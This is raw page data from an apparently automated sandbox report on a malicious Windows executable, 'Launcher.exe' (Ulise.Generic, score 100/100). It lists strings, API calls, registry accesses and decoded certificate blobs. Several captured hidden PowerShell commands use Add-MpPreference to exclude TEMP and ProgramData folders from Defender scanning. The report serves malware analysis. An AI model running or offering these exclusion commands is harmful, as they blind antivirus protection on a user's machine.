26:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] 57:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 25:T48a,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Ulise.Generic Sample ec5b49f42dbb… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample ec5b49f42dbb…. Malware family: Ulise.Generic. Threat score 100/100. 5/25 AV engines flagged this file. 7 malicious and 18 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/ec5b49f42dbb22e479c9bc173239c4db7eae86f0e154564b09ba2bfe41743ff7","keywords":["Malicious","Ulise.Generic","malware analysis","sandbox report","threat intelligence","ec5b49f42dbb22e479c9bc173239c4db7eae86f0e154564b09ba2bfe41743ff7"],"about":{"@type":"SoftwareApplication","name":"Launcher.exe","applicationCategory":["peexe","64bits","executable"],"identifier":"ec5b49f42dbb22e479c9bc173239c4db7eae86f0e154564b09ba2bfe41743ff7","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Ulise.Generic","antivirusDetections":{"malicious":5,"total":25},"behavioralIndicators":{"malicious":7,"suspicious":18},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:T50b,Found string "ile:///C:/WINDOWS/System32/WindowsPowerShell/v1.0/en-US/System.Management.Automation.resources.EXE" (Source: "00000000-00005048.00000000.151645.70A30000.00000004.mdmp") Found string "??\C:\WINDOWS\System32\WindowsPowerShell\v1.0\en-US\System.Management.Automation.resources.dll" (Source: "00000000-00005048.00000000.151645.70A30000.00000004.mdmp") Found string "??\C:\WINDOWS\System32\WindowsPowerShell\v1.0\en-US\System.Management.Automation.resources.exe" (Source: "00000000-00005048.00000000.151645.70A30000.00000004.mdmp") Found string ":\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" (Source: "00000000-00005048.00000000.151645.70A30000.00000004.mdmp, 00000000-00005048.00000001.152785.70A30000.00000004.mdmp, 00000000-00005048.00000001.152785.72CB8000.00000004.mdmp") Found string "INDOWS\Microsoft.Net\assembly\GAC\System.Management.Automation.resources\v4.0_3.0.0.0_en-US_31bf3856ad364e35\System.Management.Automation.resources.dll" (Source: "00000000-00005048.00000000.151645.70A30000.00000004.mdmp") Found string "System.Management.Automation.dll" (Source: "00000000-00005048.00000000.151645.70A30000.00000004.mdmp, 00000000-00005048.00000001.152785.70A30000.00000004.mdmp")28:T413,Found string "system.io.compression" (Source: "00000000-00005048.00000001.152785.261B0000.00000004.mdmp, 00000000-00005048.00000001.152785.261D0000.00000004.mdmp") Found string "compressionmode" (Source: "00000000-00005048.00000001.152785.261B0000.00000004.mdmp") Found string "decompressionmethods" (Source: "00000000-00005048.00000001.152785.261B0000.00000004.mdmp") Found string "compressionlevel" (Source: "00000000-00005048.00000001.152785.261B0000.00000004.mdmp") Found string "compressionstrategy" (Source: "00000000-00005048.00000001.152785.261B0000.00000004.mdmp") Found string "compressionmethod" (Source: "00000000-00005048.00000001.152785.261B0000.00000004.mdmp") Found string "compressiontracingswitchlevel" (Source: "00000000-00005048.00000001.152785.261D0000.00000004.mdmp") Found string "compressiontracingswitch" (Source: "00000000-00005048.00000001.152785.261D0000.00000004.mdmp") Found string "feature_servicing_cjkextensionfoldercompressionerror" (Source: "00000000-00005048.00000001.152785.26230000.00000004.mdmp")29:Ta89,Found reference string "cmd.exe /C powershell -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath '%ALLUSERSPROFILE%\,'%ALLUSERSPROFILE%\Windows\Microsoft','%ALLUSERSPROFILE%\Microsoft\Windows'"" (Indicator: "add-mppreference"; Source: "00000000-00005884-00000C46-3657288056"), Found reference string "cmd.exe /C powershell -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath $env:TEMP"" (Indicator: "add-mppreference"; Source: "00000000-00005884-00000C46-51729485071"), Found reference string "powershell -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath '%ALLUSERSPROFILE%\ '%ALLUSERSPROFILE%\Windows\Micr" (Indicator: "add-mppreference"; Source: "00000000-00001548-00000C47-1110032492"), Found reference string "Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\ProgramData\Windows\Microsoft','C:\ProgramData\Microsoft\Windows'" (Indicator: "add-mppreference"; File: "AMSI"), Found reference string "powershell -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath $env:TEMP"" (Indicator: "add-mppreference"; Source: "00000000-00007672-00000C47-3174525296"), Found reference string "Add-MpPreference -ExclusionPath $env:TEMP" (Indicator: "add-mppreference"; File: "AMSI"), Found reference string "/C powershell -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath '%ALLUSERSPROFILE%\ '%ALLUSERSPROFILE%\Windows\Microsoft' '%ALLUSERSPROFILE%\Microsoft\Windows'"" (Indicator: "add-mppreference"; File: "cmd.exe") Found reference string "powershell -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath '%ALLUSERSPROFILE%\,'%ALLUSERSPROFILE%\Windows\Microsoft','%ALLUSERSPROFILE%\Microsoft\Windows'"" (Indicator: "add-mppreference"; File: "powershell.exe") Found reference string "/C powershell -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath $env:TEMP"" (Indicator: "add-mppreference"; File: "cmd.exe") Found reference string "Add-MpPreference -ExclusionPath $env:TEMP" (Indicator: "add-mppreference"; Source: "00000000-00005048.00000000.151645.70A20000.00000004.mdmp, 00000000-00005048.00000000.151645.70A30000.00000004.mdmp, 00000000-00005048.00000000.151645.70C80000.00000004.mdmp, 00000000-00005048.00000001.152785.70A30000.00000004.mdmp, 00000000-00005048.00000001.152785.70C80000.00000004.mdmp, 00000000-00005048.00000001.152785.72C50000.00000004.mdmp") Found reference string "powershell -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath $env:TEMP"" (Indicator: "add-mppreference"; Source: "00000000-00005048.00000000.151645.70A30000.00000004.mdmp, 00000000-00005048.00000001.152785.70A30000.00000004.mdmp")2a:T402,Found reference to API "QueryPerformanceFrequency" (Indicator: "QueryPerformanceFrequency"; File: "Launcher.exe") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; File: "Launcher.exe") Found reference to API "GetTickCount64" (Indicator: "GetTickCount64"; File: "Launcher.exe") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; File: "Launcher.exe") Found reference to API "GetTickCount64" (Indicator: "GetTickCount64"; Source: "00000000-00003132.00000000.153731.39444000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00003132.00000000.153731.39444000.00000002.mdmp") Found reference to API "QueryPerformanceFrequency" (Indicator: "QueryPerformanceFrequency"; Source: "00000000-00003132.00000000.153731.39444000.00000002.mdmp") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00003132.00000000.153731.39444000.00000002.mdmp")2b:T47b,"powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\LANGUAGEOVERLAY\OVERLAYPACKAGES\EN-US") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\TIME ZONES\PACIFIC STANDARD TIME") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\TIME ZONES\PACIFIC STANDARD TIME") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\TIME ZONES\PACIFIC STANDARD TIME\DYNAMIC DST") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\TIME ZONES\PACIFIC STANDARD TIME\DYNAMIC DST") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\FUSION\PUBLISHERPOLICY\DEFAULT\V4.0_POLICY.3.0.SYSTEM.MANAGEMENT.AUTOMATION.RESOURCES_EN-US_31BF3856AD364E35") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\FUSION\PUBLISHERPOLICY\DEFAULT\POLICY.3.0.SYSTEM.MANAGEMENT.AUTOMATION.RESOURCES_EN-US_31BF3856AD364E35") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\DEFAULTS\PROVIDER TYPES\TYPE 001")2c:T9d9,"Launcher.exe" queried SystemProcessInformation at 00000000-00005964-00000C15-870182366 [PID: 5964] "Launcher.exe" queried SystemProcessInformation at 00000000-00005964-00000C15-870189759 [PID: 5964] "Launcher.exe" queried SystemProcessInformation at 00000000-00005964-00000C15-870380322 [PID: 5964] "Launcher.exe" queried SystemProcessInformation at 00000000-00005964-00000C15-870387883 [PID: 5964] "Launcher.exe" queried SystemProcessInformation at 00000000-00005964-00000C15-871532873 [PID: 5964] "Launcher.exe" queried SystemProcessInformation at 00000000-00005964-00000C15-871540098 [PID: 5964] "Launcher.exe" queried SystemProcessInformation at 00000000-00005884-00000C15-873007872 [PID: 5884] "Launcher.exe" queried SystemProcessInformation at 00000000-00005884-00000C15-873015295 [PID: 5884] "Launcher.exe" queried SystemProcessInformation at 00000000-00005884-00000C15-873196465 [PID: 5884] "Launcher.exe" queried SystemProcessInformation at 00000000-00005884-00000C15-873204248 [PID: 5884] "Launcher.exe" queried SystemProcessInformation at 00000000-00005884-00000C15-874348202 [PID: 5884] "Launcher.exe" queried SystemProcessInformation at 00000000-00005884-00000C15-874355752 [PID: 5884] "cmd.exe" queried SystemProcessInformation at 00000000-00001548-00000C15-874835229 [PID: 1548] "cmd.exe" queried SystemProcessInformation at 00000000-00001548-00000C15-874844118 [PID: 1548] "cmd.exe" queried SystemProcessInformation at 00000000-00001548-00000C15-875064819 [PID: 1548] "cmd.exe" queried SystemProcessInformation at 00000000-00001548-00000C15-875072947 [PID: 1548] "powershell.exe" queried SystemProcessInformation at 00000000-00006468-00000C15-875558687 [PID: 6468] "powershell.exe" queried SystemProcessInformation at 00000000-00006468-00000C15-875566624 [PID: 6468] "powershell.exe" queried SystemProcessInformation at 00000000-00006468-00000C15-875749090 [PID: 6468] "powershell.exe" queried SystemProcessInformation at 00000000-00006468-00000C15-875757185 [PID: 6468] "powershell.exe" queried SystemProcessInformation at 00000000-00006468-00000C15-877791909 [PID: 6468] "powershell.exe" queried SystemProcessInformation at 00000000-00006468-00000C15-877799610 [PID: 6468] "powershell.exe" queried SystemProcessInformation at 00000000-00006468-00000C15-878270186 [PID: 6468] "powershell.exe" queried SystemProcessInformation at 00000000-00006468-00000C15-878277739 [PID: 6468] "powershell.exe" queried SystemProcessInformation at 00000000-00006468-00000C15-879012060 [PID: 6468]2d:T4285,"powershell.exe" called "CryptStringToBinaryA" with parameters {"pszString": "MIIoJQYJKoZIhvcNAQcCoIIoFjCCKBICAQExDzANBglghkgBZQMEAgEFADB5BgorBgEEAYI3AgEEoGswaTA0BgorBgEEAYI3AgEeMCYCAwEAAAQQH8w7YFlLCE63JNLGKX7zUQIBAAIBAAIBAAIBAAIBADAxMA0GCWCGSAFlAwQCAQUABCDV/poQLjVsb85LnwsCuA0OwrdhOgJ9Idx88iVA/crVxKCCDRowggZhMIIESaADAgECAhMzAAABJF" "cchString": "14138" "dwFlags": "1" "pbBinary": "3082282506092a864886f70d010702a082281630822812020101310f300d060960864801650304020105003079060a2b060104018237020104a06b30693034060a2b06010401823702011e3026020301000004101fcc3b60594b084eb724d2c6297ef3510201000201000201000201000201003031300d060960864801650304020105000420d5fe9a102e356c6fce4b9f0b02b80d0ec2b7613a027d21dc7cf22540fdcad5c4a0820d1a3082066130820449a003020102021333000001245da29171e02095aa000000000124300d06092a864886f70d01010c05003053310b3009060355040613025553311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e312430220603550403131b57696e646f77732050726f64756374696f6e205043412032303233301e170d3236303433303138333933345a170d3237303432393138333933345a3070310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e311a3018060355040313114d6963726f736f66742057696e646f7773308201a2300d06092a864886f70d01010105000382018f003082018a0282018100911f348d62498ba470aa25f578b7331e206dffa20eadcb9d7e8311a7bc383360823b502374ceaf65a48f43fe0c2333e5b226c1071a03980907af6a10e7e19ae8317a17e7f59551c90ced2c2de50e4b4d8ec1ef5fbcc9a824d038f51d0a2fe5dbc8013f88d97645bc1517b8c51a5e57781171d61065feb86e517fb676188e92cf97338149f97e64d903c0429e6f1ae3a24bda3e772fb6f5e7f84c46feece6edecf00c132255c00709485085d2094c52fd2ec26b27fc6d41d1b6cb0674b7d5ab0d214e095f47e31fd7ff61453388588732fe72a4aa30c97b3a7313a4ffe1563121dcee69eb618246c1349b6a382e8f2e9a776b218747271de0e38909a858bdf96ecc8d9ea3ab1564259a265f27d639eff1f603bf0634cb916b5bc5fd3b998a3fdd39decec493d9fa88c378b085bfb92b7645c0d42d3e13d44c12fe1a54d91a1da843d45f20eefe6e2389b96fd25d7f7994b84f6794eae156bdd7056748472b3fa3f2611f74d806ed84caae2c31d75e1d722d88bcab91b0a67fd03135f4ba74e58d0203010001a382018f3082018b300e0603551d0f0101ff040403020780301f0603551d2504183016060a2b0601040182370a030606082b06010505070303301d0603551d0e041604142b4eb0a3eedc4ec122deeaf891bb93e82198091430450603551d11043e303ca43a3038311e301c060355040b13154d6963726f736f667420436f72706f726174696f6e311630140603550405130d353030343436" "pcbBinary": "29280000" "pdwFlags": "01000000"} "powershell.exe" called "CryptStringToBinaryW" with parameters {"pszString": "MIIoJQYJKoZIhvcNAQcCoIIoFjCCKBICAQExDzANBglghkgBZQMEAgEFADB5BgorBgEEAYI3AgEEoGswaTA0BgorBgEEAYI3AgEeMCYCAwEAAAQQH8w7YFlLCE63JNLG" "cchString": "14138" "dwFlags": "1" "pbBinary": "3082282506092a864886f70d010702a082281630822812020101310f300d060960864801650304020105003079060a2b060104018237020104a06b30693034060a2b06010401823702011e3026020301000004101fcc3b60594b084eb724d2c6297ef3510201000201000201000201000201003031300d060960864801650304020105000420d5fe9a102e356c6fce4b9f0b02b80d0ec2b7613a027d21dc7cf22540fdcad5c4a0820d1a3082066130820449a003020102021333000001245da29171e02095aa000000000124300d06092a864886f70d01010c05003053310b3009060355040613025553311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e312430220603550403131b57696e646f77732050726f64756374696f6e205043412032303233301e170d3236303433303138333933345a170d3237303432393138333933345a3070310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e311a3018060355040313114d6963726f736f66742057696e646f7773308201a2300d06092a864886f70d01010105000382018f003082018a0282018100911f348d62498ba470aa25f578b7331e206dffa20eadcb9d7e8311a7bc383360823b502374ceaf65a48f43fe0c2333e5b226c1071a03980907af6a10e7e19ae8317a17e7f59551c90ced2c2de50e4b4d8ec1ef5fbcc9a824d038f51d0a2fe5dbc8013f88d97645bc1517b8c51a5e57781171d61065feb86e517fb676188e92cf97338149f97e64d903c0429e6f1ae3a24bda3e772fb6f5e7f84c46feece6edecf00c132255c00709485085d2094c52fd2ec26b27fc6d41d1b6cb0674b7d5ab0d214e095f47e31fd7ff61453388588732fe72a4aa30c97b3a7313a4ffe1563121dcee69eb618246c1349b6a382e8f2e9a776b218747271de0e38909a858bdf96ecc8d9ea3ab1564259a265f27d639eff1f603bf0634cb916b5bc5fd3b998a3fdd39decec493d9fa88c378b085bfb92b7645c0d42d3e13d44c12fe1a54d91a1da843d45f20eefe6e2389b96fd25d7f7994b84f6794eae156bdd7056748472b3fa3f2611f74d806ed84caae2c31d75e1d722d88bcab91b0a67fd03135f4ba74e58d0203010001a382018f3082018b300e0603551d0f0101ff040403020780301f0603551d2504183016060a2b0601040182370a030606082b06010505070303301d0603551d0e041604142b4eb0a3eedc4ec122deeaf891bb93e82198091430450603551d11043e303ca43a3038311e301c060355040b13154d6963726f736f667420436f72706f726174696f6e311630140603550405130d353030343436" "pcbBinary": "29280000" "pdwFlags": "01000000"} "powershell.exe" called "CryptStringToBinaryA" with parameters {"pszString": "MIIoIgYJKoZIhvcNAQcCoIIoEzCCKA8CAQExDzANBglghkgBZQMEAgEFADB5BgorBgEEAYI3AgEEoGswaTA0BgorBgEEAYI3AgEeMCYCAwEAAAQQH8w7YFlLCE63JNLGKX7zUQIBAAIBAAIBAAIBAAIBADAxMA0GCWCGSAFlAwQCAQUABCCCGKubREngV5EFDodK5brTAqlkaVHav/M+SkqGWqFKKqCCDRowggZhMIIESaADAgECAhMzAAABJF" "cchString": "14134" "dwFlags": "1" "pbBinary": "3082282206092a864886f70d010702a08228133082280f020101310f300d060960864801650304020105003079060a2b060104018237020104a06b30693034060a2b06010401823702011e3026020301000004101fcc3b60594b084eb724d2c6297ef3510201000201000201000201000201003031300d0609608648016503040201050004208218ab9b4449e05791050e874ae5bad302a9646951dabff33e4a4a865aa14a2aa0820d1a3082066130820449a003020102021333000001245da29171e02095aa000000000124300d06092a864886f70d01010c05003053310b3009060355040613025553311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e312430220603550403131b57696e646f77732050726f64756374696f6e205043412032303233301e170d3236303433303138333933345a170d3237303432393138333933345a3070310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e311a3018060355040313114d6963726f736f66742057696e646f7773308201a2300d06092a864886f70d01010105000382018f003082018a0282018100911f348d62498ba470aa25f578b7331e206dffa20eadcb9d7e8311a7bc383360823b502374ceaf65a48f43fe0c2333e5b226c1071a03980907af6a10e7e19ae8317a17e7f59551c90ced2c2de50e4b4d8ec1ef5fbcc9a824d038f51d0a2fe5dbc8013f88d97645bc1517b8c51a5e57781171d61065feb86e517fb676188e92cf97338149f97e64d903c0429e6f1ae3a24bda3e772fb6f5e7f84c46feece6edecf00c132255c00709485085d2094c52fd2ec26b27fc6d41d1b6cb0674b7d5ab0d214e095f47e31fd7ff61453388588732fe72a4aa30c97b3a7313a4ffe1563121dcee69eb618246c1349b6a382e8f2e9a776b218747271de0e38909a858bdf96ecc8d9ea3ab1564259a265f27d639eff1f603bf0634cb916b5bc5fd3b998a3fdd39decec493d9fa88c378b085bfb92b7645c0d42d3e13d44c12fe1a54d91a1da843d45f20eefe6e2389b96fd25d7f7994b84f6794eae156bdd7056748472b3fa3f2611f74d806ed84caae2c31d75e1d722d88bcab91b0a67fd03135f4ba74e58d0203010001a382018f3082018b300e0603551d0f0101ff040403020780301f0603551d2504183016060a2b0601040182370a030606082b06010505070303301d0603551d0e041604142b4eb0a3eedc4ec122deeaf891bb93e82198091430450603551d11043e303ca43a3038311e301c060355040b13154d6963726f736f667420436f72706f726174696f6e311630140603550405130d353030343436" "pcbBinary": "26280000" "pdwFlags": "01000000"} "powershell.exe" called "CryptStringToBinaryW" with parameters {"pszString": "MIIoIgYJKoZIhvcNAQcCoIIoEzCCKA8CAQExDzANBglghkgBZQMEAgEFADB5BgorBgEEAYI3AgEEoGswaTA0BgorBgEEAYI3AgEeMCYCAwEAAAQQH8w7YFlLCE63JNLG" "cchString": "14134" "dwFlags": "1" "pbBinary": "3082282206092a864886f70d010702a08228133082280f020101310f300d060960864801650304020105003079060a2b060104018237020104a06b30693034060a2b06010401823702011e3026020301000004101fcc3b60594b084eb724d2c6297ef3510201000201000201000201000201003031300d0609608648016503040201050004208218ab9b4449e05791050e874ae5bad302a9646951dabff33e4a4a865aa14a2aa0820d1a3082066130820449a003020102021333000001245da29171e02095aa000000000124300d06092a864886f70d01010c05003053310b3009060355040613025553311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e312430220603550403131b57696e646f77732050726f64756374696f6e205043412032303233301e170d3236303433303138333933345a170d3237303432393138333933345a3070310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e311a3018060355040313114d6963726f736f66742057696e646f7773308201a2300d06092a864886f70d01010105000382018f003082018a0282018100911f348d62498ba470aa25f578b7331e206dffa20eadcb9d7e8311a7bc383360823b502374ceaf65a48f43fe0c2333e5b226c1071a03980907af6a10e7e19ae8317a17e7f59551c90ced2c2de50e4b4d8ec1ef5fbcc9a824d038f51d0a2fe5dbc8013f88d97645bc1517b8c51a5e57781171d61065feb86e517fb676188e92cf97338149f97e64d903c0429e6f1ae3a24bda3e772fb6f5e7f84c46feece6edecf00c132255c00709485085d2094c52fd2ec26b27fc6d41d1b6cb0674b7d5ab0d214e095f47e31fd7ff61453388588732fe72a4aa30c97b3a7313a4ffe1563121dcee69eb618246c1349b6a382e8f2e9a776b218747271de0e38909a858bdf96ecc8d9ea3ab1564259a265f27d639eff1f603bf0634cb916b5bc5fd3b998a3fdd39decec493d9fa88c378b085bfb92b7645c0d42d3e13d44c12fe1a54d91a1da843d45f20eefe6e2389b96fd25d7f7994b84f6794eae156bdd7056748472b3fa3f2611f74d806ed84caae2c31d75e1d722d88bcab91b0a67fd03135f4ba74e58d0203010001a382018f3082018b300e0603551d0f0101ff040403020780301f0603551d2504183016060a2b0601040182370a030606082b06010505070303301d0603551d0e041604142b4eb0a3eedc4ec122deeaf891bb93e82198091430450603551d11043e303ca43a3038311e301c060355040b13154d6963726f736f667420436f72706f726174696f6e311630140603550405130d353030343436" "pcbBinary": "26280000" "pdwFlags": "01000000"} "powershell.exe" called "CryptStringToBinaryA" with parameters {"pszString": "MIIoJQYJKoZIhvcNAQcCoIIoFjCCKBICAQExDzANBglghkgBZQMEAgEFADB5BgorBgEEAYI3AgEEoGswaTA0BgorBgEEAYI3AgEeMCYCAwEAAAQQH8w7YFlLCE63JNLGKX7zUQIBAAIBAAIBAAIBAAIBADAxMA0GCWCGSAFlAwQCAQUABCCHnmKbck0ySOYBbtr7gcHQVsdIM0PxB7sZ2FyCQLdcFaCCDRowggZhMIIESaADAgECAhMzAAABJF" "cchString": "14138" "dwFlags": "1" "pbBinary": "3082282506092a864886f70d010702a082281630822812020101310f300d060960864801650304020105003079060a2b060104018237020104a06b30693034060a2b06010401823702011e3026020301000004101fcc3b60594b084eb724d2c6297ef3510201000201000201000201000201003031300d060960864801650304020105000420879e629b724d3248e6016edafb81c1d056c7483343f107bb19d85c8240b75c15a0820d1a3082066130820449a003020102021333000001245da29171e02095aa000000000124300d06092a864886f70d01010c05003053310b3009060355040613025553311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e312430220603550403131b57696e646f77732050726f64756374696f6e205043412032303233301e170d3236303433303138333933345a170d3237303432393138333933345a3070310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e311a3018060355040313114d6963726f736f66742057696e646f7773308201a2300d06092a864886f70d01010105000382018f003082018a0282018100911f348d62498ba470aa25f578b7331e206dffa20eadcb9d7e8311a7bc383360823b502374ceaf65a48f43fe0c2333e5b226c1071a03980907af6a10e7e19ae8317a17e7f59551c90ced2c2de50e4b4d8ec1ef5fbcc9a824d038f51d0a2fe5dbc8013f88d97645bc1517b8c51a5e57781171d61065feb86e517fb676188e92cf97338149f97e64d903c0429e6f1ae3a24bda3e772fb6f5e7f84c46feece6edecf00c132255c00709485085d2094c52fd2ec26b27fc6d41d1b6cb0674b7d5ab0d214e095f47e31fd7ff61453388588732fe72a4aa30c97b3a7313a4ffe1563121dcee69eb618246c1349b6a382e8f2e9a776b218747271de0e38909a858bdf96ecc8d9ea3ab1564259a265f27d639eff1f603bf0634cb916b5bc5fd3b998a3fdd39decec493d9fa88c378b085bfb92b7645c0d42d3e13d44c12fe1a54d91a1da843d45f20eefe6e2389b96fd25d7f7994b84f6794eae156bdd7056748472b3fa3f2611f74d806ed84caae2c31d75e1d722d88bcab91b0a67fd03135f4ba74e58d0203010001a382018f3082018b300e0603551d0f0101ff040403020780301f0603551d2504183016060a2b0601040182370a030606082b06010505070303301d0603551d0e041604142b4eb0a3eedc4ec122deeaf891bb93e82198091430450603551d11043e303ca43a3038311e301c060355040b13154d6963726f736f667420436f72706f726174696f6e311630140603550405130d353030343436" "pcbBinary": "29280000" "pdwFlags": "01000000"} "powershell.exe" called "CryptStringToBinaryW" with parameters {"pszString": "MIIoJQYJKoZIhvcNAQcCoIIoFjCCKBICAQExDzANBglghkgBZQMEAgEFADB5BgorBgEEAYI3AgEEoGswaTA0BgorBgEEAYI3AgEeMCYCAwEAAAQQH8w7YFlLCE63JNLG" "cchString": "14138" "dwFlags": "1" "pbBinary": "3082282506092a864886f70d010702a082281630822812020101310f300d060960864801650304020105003079060a2b060104018237020104a06b30693034060a2b06010401823702011e3026020301000004101fcc3b60594b084eb724d2c6297ef3510201000201000201000201000201003031300d060960864801650304020105000420879e629b724d3248e6016edafb81c1d056c7483343f107bb19d85c8240b75c15a0820d1a3082066130820449a003020102021333000001245da29171e02095aa000000000124300d06092a864886f70d01010c05003053310b3009060355040613025553311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e312430220603550403131b57696e646f77732050726f64756374696f6e205043412032303233301e170d3236303433303138333933345a170d3237303432393138333933345a3070310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e311a3018060355040313114d6963726f736f66742057696e646f7773308201a2300d06092a864886f70d01010105000382018f003082018a0282018100911f348d62498ba470aa25f578b7331e206dffa20eadcb9d7e8311a7bc383360823b502374ceaf65a48f43fe0c2333e5b226c1071a03980907af6a10e7e19ae8317a17e7f59551c90ced2c2de50e4b4d8ec1ef5fbcc9a824d038f51d0a2fe5dbc8013f88d97645bc1517b8c51a5e57781171d61065feb86e517fb676188e92cf97338149f97e64d903c0429e6f1ae3a24bda3e772fb6f5e7f84c46feece6edecf00c132255c00709485085d2094c52fd2ec26b27fc6d41d1b6cb0674b7d5ab0d214e095f47e31fd7ff61453388588732fe72a4aa30c97b3a7313a4ffe1563121dcee69eb618246c1349b6a382e8f2e9a776b218747271de0e38909a858bdf96ecc8d9ea3ab1564259a265f27d639eff1f603bf0634cb916b5bc5fd3b998a3fdd39decec493d9fa88c378b085bfb92b7645c0d42d3e13d44c12fe1a54d91a1da843d45f20eefe6e2389b96fd25d7f7994b84f6794eae156bdd7056748472b3fa3f2611f74d806ed84caae2c31d75e1d722d88bcab91b0a67fd03135f4ba74e58d0203010001a382018f3082018b300e0603551d0f0101ff040403020780301f0603551d2504183016060a2b0601040182370a030606082b06010505070303301d0603551d0e041604142b4eb0a3eedc4ec122deeaf891bb93e82198091430450603551d11043e303ca43a3038311e301c060355040b13154d6963726f736f667420436f72706f726174696f6e311630140603550405130d353030343436" "pcbBinary": "29280000" "pdwFlags": "01000000"} "powershell.exe" called "CryptStringToBinaryA" with parameters {"pszString": "MIIoIgYJKoZIhvcNAQcCoIIoEzCCKA8CAQExDzANBglghkgBZQMEAgEFADB5BgorBgEEAYI3AgEEoGswaTA0BgorBgEEAYI3AgEeMCYCAwEAAAQQH8w7YFlLCE63JNLGKX7zUQIBAAIBAAIBAAIBAAIBADAxMA0GCWCGSAFlAwQCAQUABCD1Ic9VXSKRHe3vJHTviA7n2oanD+d84ekkYUUIWGAvN6CCDRowggZhMIIESaADAgECAhMzAAABJF" "cchString": "14134" "dwFlags": "1" "pbBinary": "3082282206092a864886f70d010702a08228133082280f020101310f300d060960864801650304020105003079060a2b060104018237020104a06b30693034060a2b06010401823702011e3026020301000004101fcc3b60594b084eb724d2c6297ef3510201000201000201000201000201003031300d060960864801650304020105000420f521cf555d22911dedef2474ef880ee7da86a70fe77ce1e92461450858602f37a0820d1a3082066130820449a003020102021333000001245da29171e02095aa000000000124300d06092a864886f70d01010c05003053310b3009060355040613025553311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e312430220603550403131b57696e646f77732050726f64756374696f6e205043412032303233301e170d3236303433303138333933345a170d3237303432393138333933345a3070310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e311a3018060355040313114d6963726f736f66742057696e646f7773308201a2300d06092a864886f70d01010105000382018f003082018a0282018100911f348d62498ba470aa25f578b7331e206dffa20eadcb9d7e8311a7bc383360823b502374ceaf65a48f43fe0c2333e5b226c1071a03980907af6a10e7e19ae8317a17e7f59551c90ced2c2de50e4b4d8ec1ef5fbcc9a824d038f51d0a2fe5dbc8013f88d97645bc1517b8c51a5e57781171d61065feb86e517fb676188e92cf97338149f97e64d903c0429e6f1ae3a24bda3e772fb6f5e7f84c46feece6edecf00c132255c00709485085d2094c52fd2ec26b27fc6d41d1b6cb0674b7d5ab0d214e095f47e31fd7ff61453388588732fe72a4aa30c97b3a7313a4ffe1563121dcee69eb618246c